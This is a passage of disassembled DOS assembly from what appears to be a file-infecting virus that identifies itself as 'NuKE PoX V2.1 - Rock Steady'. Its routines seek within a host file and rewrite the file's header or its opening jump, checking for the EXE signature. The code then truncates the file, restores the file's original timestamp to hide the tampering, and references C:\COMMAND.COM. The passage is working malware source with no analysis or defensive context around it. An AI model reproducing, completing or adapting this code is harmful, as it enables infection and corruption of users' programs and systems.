|
call sub_10
|
|
sub dx,cs:data_25
|
|
add ax,40h
|
|
mov cs:data_26,dx
|
|
mov cs:data_27,ax
|
|
pop dx
|
|
pop ax
|
|
retn
|
|
sub_16 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_17 proc near
|
|
dec cx
|
|
mov cs:data_18,cx
|
|
mov cs:data_19,dx
|
|
mov ax,4202h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
call sub_2
|
|
mov cx,dx
|
|
mov dx,ax
|
|
push cx
|
|
push dx
|
|
sub dx,1Bh
|
|
sbb cx,0
|
|
mov ax,4200h
|
|
call sub_2
|
|
push cs
|
|
pop ds
|
|
mov ah,3Fh ; '?'
|
|
mov cx,1Bh
|
|
mov dx,77Eh
|
|
call sub_2
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
mov ax,4200h
|
|
call sub_2
|
|
mov ah,40h ; '@'
|
|
mov dx,77Eh
|
|
mov cx,1Bh
|
|
cmp cs:data_21,5A4Dh
|
|
je loc_64 ; Jump if equal
|
|
mov cx,3
|
|
loc_64:
|
|
call sub_2
|
|
pop dx
|
|
pop cx
|
|
sub dx,696h
|
|
sbb cx,0
|
|
mov ax,4200h
|
|
call sub_2
|
|
mov ah,40h ; '@'
|
|
xor cx,cx ; Zero register
|
|
call sub_2
|
|
mov cx,cs:data_18
|
|
mov dx,cs:data_19
|
|
mov ax,5701h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; set file date+time, bx=handle
|
|
; cx=time, dx=time
|
|
mov ah,3Eh ; '>'
|
|
call sub_2
|
|
retn
|
|
sub_17 endp
|
|
|
|
db 'C:\COMMAND.COM'
|
|
db 0
|
|
data_18 dw 0
|
|
data_19 dw 0
|
|
db 00h, 00h,0E9h
|
|
data_20 dw 9090h
|
|
db 'NuKE PoX V2.1 - Rock Steady'
|
|
data_21 dw 0CD90h ; Data table (indexed access)
|
|
data_22 dw 20h
|
|
data_24 dw 0
|
|
db 0, 0
|
|
data_25 dw 0
|
|
db 0, 0, 0, 0
|
|
data_26 dw 0
|
|
data_27 dw 0
|
|
db 0, 0
|
|
data_28 dw 0
|
|
data_29 dw 0
|
|
db 0, 0, 0
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|